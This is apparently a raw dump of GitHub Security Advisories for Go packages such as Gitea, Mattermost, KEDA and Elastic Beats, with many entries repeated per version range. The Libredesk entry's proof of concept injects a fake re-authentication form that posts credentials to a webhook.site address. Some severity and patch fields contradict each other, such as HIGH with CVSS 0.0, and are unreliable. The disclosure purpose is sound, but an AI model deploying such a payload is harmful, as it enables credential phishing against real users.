deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-263q-5cv3-xq9g
Package: code.gitea.io/gitea (GO)
Severity: HIGH (CVSS 8.2)
CWE: CWE-424: Improper Protection of Alternate Path
Vulnerable versions: < 1.23.0
Patched in: unpatched

Summary: Gitea allows attackers to add attachments with forbidden file extensions

Details:
Gitea before 1.23.0 allows attackers to add attachments with forbidden file extensions by editing an attachment name via an attachment API.
GitHub Security Advisory: GHSA-cm54-pfmc-xrwx
Package: code.gitea.io/gitea (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 1.25.2
Patched in: 1.25.2

Summary: Gitea mishandles authorization for deletion of releases

Details:
Gitea before 1.25.2 mishandles authorization for deletion of releases.
GitHub Security Advisory: GHSA-vww6-79rv-3j4x
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 4.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 11.1.0, < 11.1.1
Patched in: 11.1.1

Summary: Mattermost doesn't verify that post actions invoking `/share-issue-publicly` were created by the Jira plugin

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fail to verify that post actions invoking /share-issue-publicly were created by the Jira plugin which allowed a malicious Mattermost user to exfiltrate Jira tickets when victim users interacted with affected posts
GitHub Security Advisory: GHSA-vww6-79rv-3j4x
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 4.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 11.0.0, < 11.0.6
Patched in: 11.0.6

Summary: Mattermost doesn't verify that post actions invoking `/share-issue-publicly` were created by the Jira plugin

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fail to verify that post actions invoking /share-issue-publicly were created by the Jira plugin which allowed a malicious Mattermost user to exfiltrate Jira tickets when victim users interacted with affected posts
GitHub Security Advisory: GHSA-vww6-79rv-3j4x
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 4.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 10.12.0, < 10.12.4
Patched in: 10.12.4

Summary: Mattermost doesn't verify that post actions invoking `/share-issue-publicly` were created by the Jira plugin

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fail to verify that post actions invoking /share-issue-publicly were created by the Jira plugin which allowed a malicious Mattermost user to exfiltrate Jira tickets when victim users interacted with affected posts
GitHub Security Advisory: GHSA-vww6-79rv-3j4x
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 4.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 10.11.0, < 10.11.8
Patched in: 10.11.8

Summary: Mattermost doesn't verify that post actions invoking `/share-issue-publicly` were created by the Jira plugin

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fail to verify that post actions invoking /share-issue-publicly were created by the Jira plugin which allowed a malicious Mattermost user to exfiltrate Jira tickets when victim users interacted with affected posts
GitHub Security Advisory: GHSA-vww6-79rv-3j4x
Package: github.com/mattermost/mattermost/server/v8 (GO)
Severity: MODERATE (CVSS 4.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 8.0.0[PII_REDACTED]2154-b57c297c6d7
Patched in: 8.0.0[PII_REDACTED]2154-b57c297c6d7

Summary: Mattermost doesn't verify that post actions invoking `/share-issue-publicly` were created by the Jira plugin

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fail to verify that post actions invoking /share-issue-publicly were created by the Jira plugin which allowed a malicious Mattermost user to exfiltrate Jira tickets when victim users interacted with affected posts
GitHub Security Advisory: GHSA-fmqf-pmcm-8cx9
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 11.1.0, < 11.1.1
Patched in: 11.1.1

Summary: Mattermost doesn't validate user channel membership when attaching Mattermost posts as comments to Jira issues

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fails to validate user channel membership when attaching Mattermost posts as comments to Jira issues, which allows an authenticated attacker with access to the Jira plugin to read post content and attachments from channels they do not have access to.
GitHub Security Advisory: GHSA-fmqf-pmcm-8cx9
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 11.0.0, < 11.0.6
Patched in: 11.0.6

Summary: Mattermost doesn't validate user channel membership when attaching Mattermost posts as comments to Jira issues

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fails to validate user channel membership when attaching Mattermost posts as comments to Jira issues, which allows an authenticated attacker with access to the Jira plugin to read post content and attachments from channels they do not have access to.
GitHub Security Advisory: GHSA-fmqf-pmcm-8cx9
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 10.12.0, < 10.12.4
Patched in: 10.12.4

Summary: Mattermost doesn't validate user channel membership when attaching Mattermost posts as comments to Jira issues

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fails to validate user channel membership when attaching Mattermost posts as comments to Jira issues, which allows an authenticated attacker with access to the Jira plugin to read post content and attachments from channels they do not have access to.
GitHub Security Advisory: GHSA-fmqf-pmcm-8cx9
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 10.11.0, < 10.11.8
Patched in: 10.11.8

Summary: Mattermost doesn't validate user channel membership when attaching Mattermost posts as comments to Jira issues

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fails to validate user channel membership when attaching Mattermost posts as comments to Jira issues, which allows an authenticated attacker with access to the Jira plugin to read post content and attachments from channels they do not have access to.
GitHub Security Advisory: GHSA-fmqf-pmcm-8cx9
Package: github.com/mattermost/mattermost/server/v8 (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 8.0.0[PII_REDACTED]2154-b57c297c6d7
Patched in: 8.0.0[PII_REDACTED]2154-b57c297c6d7

Summary: Mattermost doesn't validate user channel membership when attaching Mattermost posts as comments to Jira issues

Details:
Mattermost versions 11.1.x <= 11.1.0, 11.0.x <= 11.0.5, 10.12.x <= 10.12.3, 10.11.x <= 10.11.7 fails to validate user channel membership when attaching Mattermost posts as comments to Jira issues, which allows an authenticated attacker with access to the Jira plugin to read post content and attachments from channels they do not have access to.
GitHub Security Advisory: GHSA-pcqx-8qww-7f4v
Package: github.com/redhat-developer/gitops-operator (GO)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-266: Incorrect Privilege Assignment
Vulnerable versions: < 1.16.2
Patched in: 1.16.2

Summary: OpenShift GitOps authenticated attackers can obtain cluster root access through forged ArgoCD custom resources

Details:
A flaw was found in OpenShift GitOps. Namespace admins can create ArgoCD Custom Resources (CRs) that trick the system into granting them elevated permissions in other namespaces, including privileged namespaces. An authenticated attacker can then use these elevated permissions to create privileged workloads that run on master nodes, effectively giving them root access to the entire cluster.
GitHub Security Advisory: GHSA-c4p6-qg4m-9jmr
Package: github.com/kedacore/keda/v2 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-863: Incorrect Authorization
Vulnerable versions: < 2.17.3
Patched in: 2.17.3

Summary: KEDA has Arbitrary File Read via Insufficient Path Validation in HashiCorp Vault Service Account Credential

Details:
### Impact
An Arbitrary File Read vulnerability has been identified in KEDA, potentially affecting any KEDA resource that uses TriggerAuthentication to configure HashiCorp Vault authentication.

The vulnerability stems from an incorrect or insufficient path validation when loading the Service Account Token specified in spec.hashiCorpVault.credential.serviceAccount.

An attacker with permissions to create or modify a TriggerAuthentication resource can exfiltrate the content of any file from the node's filesystem (where the KEDA pod resides) by directing the file's content to a server under their control, as part of the Vault authentication request.

The potential impact includes the exfiltration of sensitive system information, such as secrets, keys, or the content of files like /etc/passwd.

### Patches
The problem has been patched in v2.17.3 and 2.18.3 as well as in main branch.

### Workarounds
The only effective workaround is the strict restriction of permissions for creating and modifying TriggerAuthentication resources within the Kubernetes cluster.

Only trusted and authorized users should have create or update permissions on the TriggerAuthentication resource.

This limits an attacker's ability to configure a malicious TriggerAuthentication with an arbitrary path.

### Is my project affected?
If it execute s
```bash
kubectl get deploy keda-operator -n keda -o jsonpath="{.spec.template.spec.containers[0].image}"
```
and the version is not 2.17.3, 2.18.3 or >= 2.19.0, that version is affected.
GitHub Security Advisory: GHSA-c4p6-qg4m-9jmr
Package: github.com/kedacore/keda/v2 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-863: Incorrect Authorization
Vulnerable versions: >= 2.18.0, < 2.18.3
Patched in: 2.18.3

Summary: KEDA has Arbitrary File Read via Insufficient Path Validation in HashiCorp Vault Service Account Credential

Details:
### Impact
An Arbitrary File Read vulnerability has been identified in KEDA, potentially affecting any KEDA resource that uses TriggerAuthentication to configure HashiCorp Vault authentication.

The vulnerability stems from an incorrect or insufficient path validation when loading the Service Account Token specified in spec.hashiCorpVault.credential.serviceAccount.

An attacker with permissions to create or modify a TriggerAuthentication resource can exfiltrate the content of any file from the node's filesystem (where the KEDA pod resides) by directing the file's content to a server under their control, as part of the Vault authentication request.

The potential impact includes the exfiltration of sensitive system information, such as secrets, keys, or the content of files like /etc/passwd.

### Patches
The problem has been patched in v2.17.3 and 2.18.3 as well as in main branch.

### Workarounds
The only effective workaround is the strict restriction of permissions for creating and modifying TriggerAuthentication resources within the Kubernetes cluster.

Only trusted and authorized users should have create or update permissions on the TriggerAuthentication resource.

This limits an attacker's ability to configure a malicious TriggerAuthentication with an arbitrary path.

### Is my project affected?
If it execute s
```bash
kubectl get deploy keda-operator -n keda -o jsonpath="{.spec.template.spec.containers[0].image}"
```
and the version is not 2.17.3, 2.18.3 or >= 2.19.0, that version is affected.
GitHub Security Advisory: GHSA-fj69-23m4-ccvv
Package: github.com/elastic/beats/v7 (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 7.0.0-alpha2.0[PII_REDACTED]2832-28cfc80d2f4e
Patched in: 7.0.0-alpha2.0[PII_REDACTED]2832-28cfc80d2f4e

Summary: Elasticsearch Packetbeat has Excessive Allocation of Memory and CPU via Malicious IPv4 Fragments

Details:
Allocation of resources without limits or throttling (CWE-770) allows an unauthenticated remote attacker to cause excessive allocation (CAPEC-130) of memory and CPU via the integration of malicious IPv4 fragments, leading to denial-of-service in Packetbeat.
GitHub Security Advisory: GHSA-fj69-23m4-ccvv
Package: github.com/elastic/beats (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 9.2.0, < 9.2.3
Patched in: 9.2.3

Summary: Elasticsearch Packetbeat has Excessive Allocation of Memory and CPU via Malicious IPv4 Fragments

Details:
Allocation of resources without limits or throttling (CWE-770) allows an unauthenticated remote attacker to cause excessive allocation (CAPEC-130) of memory and CPU via the integration of malicious IPv4 fragments, leading to denial-of-service in Packetbeat.
GitHub Security Advisory: GHSA-fj69-23m4-ccvv
Package: github.com/elastic/beats (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 9.0.0, < 9.1.9
Patched in: 9.1.9

Summary: Elasticsearch Packetbeat has Excessive Allocation of Memory and CPU via Malicious IPv4 Fragments

Details:
Allocation of resources without limits or throttling (CWE-770) allows an unauthenticated remote attacker to cause excessive allocation (CAPEC-130) of memory and CPU via the integration of malicious IPv4 fragments, leading to denial-of-service in Packetbeat.
GitHub Security Advisory: GHSA-fj69-23m4-ccvv
Package: github.com/elastic/beats (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 8.6.0, < 8.19.9
Patched in: 8.19.9

Summary: Elasticsearch Packetbeat has Excessive Allocation of Memory and CPU via Malicious IPv4 Fragments

Details:
Allocation of resources without limits or throttling (CWE-770) allows an unauthenticated remote attacker to cause excessive allocation (CAPEC-130) of memory and CPU via the integration of malicious IPv4 fragments, leading to denial-of-service in Packetbeat.
GitHub Security Advisory: GHSA-x3r8-2hmh-89f5
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 5.3.2-0[PII_REDACTED]0919-d3ed703dc833
Patched in: 11.0.4

Summary: Mattermost has an Invite Token Replay Vulnerability via Channel Membership Manipulation

Details:
Mattermost versions 10.11.x < 10.11.5, 11.0.x < 11.0.4, 10.12.x < 10.12.2 fail to invalidate remote cluster invite tokens when using the legacy (version 1) protocol or when the confirming party does not provide a refreshed token, which allows an attacker who has obtained an invite token to authenticate as the remote cluster and perform limited actions on shared channels even after the invitation has been legitimately confirmed.
GitHub Security Advisory: GHSA-x3r8-2hmh-89f5
Package: github.com/mattermost/mattermost/server/v8 (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 8.0.0[PII_REDACTED]5924-e7e23b94e006
Patched in: 8.0.0[PII_REDACTED]5924-e7e23b94e006

Summary: Mattermost has an Invite Token Replay Vulnerability via Channel Membership Manipulation

Details:
Mattermost versions 10.11.x < 10.11.5, 11.0.x < 11.0.4, 10.12.x < 10.12.2 fail to invalidate remote cluster invite tokens when using the legacy (version 1) protocol or when the confirming party does not provide a refreshed token, which allows an attacker who has obtained an invite token to authenticate as the remote cluster and perform limited actions on shared channels even after the invitation has been legitimately confirmed.
GitHub Security Advisory: GHSA-x3r8-2hmh-89f5
Package: github.com/mattermost/mattermost (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 11.0.0-alpha.1, < 11.0.4
Patched in: 11.0.4

Summary: Mattermost has an Invite Token Replay Vulnerability via Channel Membership Manipulation

Details:
Mattermost versions 10.11.x < 10.11.5, 11.0.x < 11.0.4, 10.12.x < 10.12.2 fail to invalidate remote cluster invite tokens when using the legacy (version 1) protocol or when the confirming party does not provide a refreshed token, which allows an attacker who has obtained an invite token to authenticate as the remote cluster and perform limited actions on shared channels even after the invitation has been legitimately confirmed.
GitHub Security Advisory: GHSA-x3r8-2hmh-89f5
Package: github.com/mattermost/mattermost (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 10.11.0-rc1, < 10.11.5
Patched in: 10.11.5

Summary: Mattermost has an Invite Token Replay Vulnerability via Channel Membership Manipulation

Details:
Mattermost versions 10.11.x < 10.11.5, 11.0.x < 11.0.4, 10.12.x < 10.12.2 fail to invalidate remote cluster invite tokens when using the legacy (version 1) protocol or when the confirming party does not provide a refreshed token, which allows an attacker who has obtained an invite token to authenticate as the remote cluster and perform limited actions on shared channels even after the invitation has been legitimately confirmed.
GitHub Security Advisory: GHSA-x3r8-2hmh-89f5
Package: github.com/mattermost/mattermost (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 10.12.0, < 10.12.2
Patched in: 10.12.2

Summary: Mattermost has an Invite Token Replay Vulnerability via Channel Membership Manipulation

Details:
Mattermost versions 10.11.x < 10.11.5, 11.0.x < 11.0.4, 10.12.x < 10.12.2 fail to invalidate remote cluster invite tokens when using the legacy (version 1) protocol or when the confirming party does not provide a refreshed token, which allows an attacker who has obtained an invite token to authenticate as the remote cluster and perform limited actions on shared channels even after the invitation has been legitimately confirmed.
GitHub Security Advisory: GHSA-j5vq-62gr-8v3r
Package: github.com/mattermost/mattermost-plugin-calls (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-1287: Improper Validation of Specified Type of Input
Vulnerable versions: < 1.11.0
Patched in: 1.11.0

Summary: Mattermost fails to check Websocket request for proper UTF-8 format potentially crashing Calls plug-in

Details:
Mattermost versions 11.0.x <= 11.0.4, 10.12.x <= 10.12.2, 10.11.x <= 10.11.6 fail to check WebSocket request field for proper UTF-8 format, which allows attacker to crash Calls plug-in via sending malformed request.
GitHub Security Advisory: GHSA-gmx5-frv9-9m9f
Package: github.com/mattermost/mattermost-plugin-calls (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: < 1.10.0
Patched in: 1.10.0

Summary: Mattermost has CSRF vulnerability via Calls Widget page

Details:
Mattermost versions 11.0.x < 11.0.4, 10.12.x <= 10.12.2, 10.11.x < 10.11.6 and Mattermost Calls versions < 1.10.0 fail to implement CSRF protection on the Calls widget page which allows an authenticated attacker to initiate calls and inject messages into channels or direct messages via a malicious webpage or crafted link.
GitHub Security Advisory: GHSA-wh6m-h6f4-rjf4
Package: github.com/abhinavxd/libredesk (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 0.8.6-beta
Patched in: 0.8.6-beta

Summary: Libredesk has Improper Neutralization of  HTML Tags in a Web Page

Details:
### Summary

LibreDesk is vulnerable to **stored HTML injection** in the contact notes feature. When adding notes via `POST /api/v1/contacts/{id}/notes`, the backend automatically wraps user input in `<p>` tags. However, by intercepting the request and removing the `<p>` tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.

---

### Details

When notes are added through the LibreDesk web application, the client sends note content wrapped inside `<p>` tags. The backend appears to **trust this HTML structure** and stores the content as-is.

By intercepting the request to:

```
POST /api/v1/contacts/3/notes
```

and **removing the `<p>` wrapper**, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.

As a result:

* Arbitrary HTML tags (e.g., `<form>`, `<input>`, `<img>`) are stored
* The injected HTML is rendered when the notes are viewed in the application
* No server-side HTML sanitization or allowlisting is enforced

This indicates that the application relies on **client-side HTML formatting assumptions**, which can be bypassed by modifying the request.

---

### PoC

1. Log in to LibreDesk and open any contact.
2. Add a note normally via the UI.
3. Intercept the request to:

   ```
   POST /api/v1/contacts/3/notes
   ```
4. Original request body (example):

   ```json
   {
     "note": "<p>This is a normal note</p>"
   }
   ```
5. Modify the payload by removing the `<p>` tag and injecting arbitrary HTML:

   ```json
   {
     "note": "<form action='https://webhook.site/xxxx' method='POST'>
                <input type='text' name='username' placeholder='Username'>
                <input type='password' name='password' placeholder='Password'>
                <input type='submit' value='Re-authenticate'>
              </form>"
   }
   ```

6. Forward the request.
7. View the contact note in the LibreDesk UI.

**Result:**
The injected HTML form is rendered inside the application.


---

### Impact

This is a **stored HTML injection** vulnerability affecting any user who can add or view contact notes.

Potential impact includes:

* Credential phishing through injected forms
* CSRF-style forced actions using HTML-only forms
* UI redress and social engineering
* Increased risk if notes are viewed by privileged users (e.g., admins or agents)

If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.
GitHub Security Advisory: GHSA-2mj3-6grc-px38
Package: github.com/elastic/beats (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), CWE-1284: Improper Validation of Specified Quantity in Input
Vulnerable versions: <= 7.6.2
Patched in: unpatched

Summary: Filebeat Beats has Buffer Overflow via Malformed Syslog Message or Malicious Tokenizer Pattern in Dissect Configuration

Details:
Improper Validation of Specified Index, Position, or Offset in Input (CWE-1285) in Filebeat Syslog parser and the Libbeat Dissect processor can allow a user to trigger a Buffer Overflow (CAPEC-100) and cause a denial of service (panic/crash) of the Filebeat process via either a malformed Syslog message or a malicious tokenizer pattern in the Dissect configuration.